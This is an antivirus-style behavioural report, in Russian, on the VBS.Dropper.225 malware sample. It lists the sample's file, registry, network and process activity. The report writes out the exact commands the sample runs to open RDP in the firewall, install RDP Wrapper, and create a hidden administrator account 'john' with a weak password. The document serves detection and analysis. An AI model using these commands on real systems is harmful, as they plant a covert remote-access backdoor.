VBS.Dropper.225

Техническая информация

Для обеспечения автозапуска и распространения

Устанавливает следующие настройки сервисов

[<HKLM>\SYSTEM\CurrentControlSet\Services\TermService\Parameters] 'ServiceDll' = '%ProgramFiles%\RDP Wrapper\rdpwrap.dll'

Создает следующие сервисы

'umbus' system32\DRIVERS\umbus.sys

Вредоносные функции

Запускает на исполнение

'%WINDIR%\syswow64\taskkill.exe' /f /im Rar.exe
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow

Завершает или пытается завершить

следующие системные процессы:

<SYSTEM32>\svchost.exe

Изменения в файловой системе

Создает следующие файлы

C:\rdp\pause.bat
C:\rdp\rar.exe
C:\rdp\run.vbs
C:\rdp\db.rar
nul
C:\rdp\bat.bat
C:\rdp\rdpwinst.exe
C:\rdp\install.vbs
%ProgramFiles%\rdp wrapper\rdpwrap.ini
%ProgramFiles%\rdp wrapper\rdpwrap.dll
<SYSTEM32>\microsoft\protect\s-1-5-20\6f3349ed-e7e0-4185-a4f2-8c7bac20c2de
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
%PROGRAMDATA%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Присваивает атрибут 'скрытый' для следующих файлов

%ProgramFiles%\rdp wrapper\rdpwrap.dll
%ProgramFiles%\rdp wrapper\rdpwrap.ini

Удаляет следующие файлы

C:\rdp\run.vbs
C:\rdp\db.rar
C:\rdp\rar.exe
C:\rdp\install.vbs

Сетевая активность

TCP

'ra#.####ubusercontent.com':443

UDP

DNS ASK ra#.####ubusercontent.com

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''
ClassName: '' WindowName: ''

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "C:\rdp\run.vbs"
'C:\rdp\rar.exe' e -p555 db.rar
'%WINDIR%\syswow64\wscript.exe' "C:\rdp\install.vbs"
'C:\rdp\rdpwinst.exe' -i -o
'C:\rdp\rdpwinst.exe' -w
'%WINDIR%\syswow64\cmd.exe' /c ""C:\rdp\pause.bat" "' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c ""C:\rdp\bat.bat" "' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""C:\rdp\pause.bat" "
'%WINDIR%\syswow64\attrib.exe' +s +h "%ProgramFiles%\RDP Wrapper\*.*"
'%WINDIR%\syswow64\net1.exe' accounts /maxpwage:unlimited
'%WINDIR%\syswow64\net.exe' accounts /maxpwage:unlimited
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\net1.exe' localgroup "Uzytkownicy pulpitu zdalnego" John /add
'%WINDIR%\syswow64\net.exe' localgroup "Uzytkownicy pulpitu zdalnego" John /add
'%WINDIR%\syswow64\net1.exe' localgroup "Usuarios de escritorio remoto" John /add
'%WINDIR%\syswow64\net.exe' localgroup "Usuarios de escritorio remoto" John /add
'%WINDIR%\syswow64\net1.exe' localgroup "Remote Desktop Users" John /add
'%WINDIR%\syswow64\net.exe' localgroup "Remote Desktop Users" John /add
'%WINDIR%\syswow64\net1.exe' localgroup "Пользователи удаленного управления" John /add
'%WINDIR%\syswow64\net.exe' localgroup "Пользователи удаленного управления" John /add
'%WINDIR%\syswow64\net1.exe' localgroup "Пользователи удаленного рабочего стола" John /add
'%WINDIR%\syswow64\net.exe' localgroup "Пользователи удаленного рабочего стола" John /add
'%WINDIR%\syswow64\attrib.exe' +s +h "%ProgramFiles%\RDP Wrapper"
'%WINDIR%\syswow64\net1.exe' localgroup "Administradores" John /add
'%WINDIR%\syswow64\net1.exe' localgroup "Administrators" John /add
'%WINDIR%\syswow64\net.exe' localgroup "Administrators" John /add
'%WINDIR%\syswow64\net1.exe' localgroup "Administratorzy" "John" /add
'%WINDIR%\syswow64\net.exe' localgroup "Administratorzy" "John" /add
'%WINDIR%\syswow64\net1.exe' localgroup "Администраторы" "John" /add
'%WINDIR%\syswow64\net.exe' localgroup "Администраторы" "John" /add
'%WINDIR%\syswow64\net1.exe' user "john" "12345" /add
'%WINDIR%\syswow64\net.exe' user "john" "12345" /add
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c ""C:\rdp\bat.bat" "
'%WINDIR%\syswow64\timeout.exe' 2
'%WINDIR%\syswow64\chcp.com' 1251
'%WINDIR%\syswow64\timeout.exe' 3
'%WINDIR%\syswow64\net.exe' localgroup "Administradores" John /add
'%WINDIR%\syswow64\attrib.exe' +s +h "C:\rdp"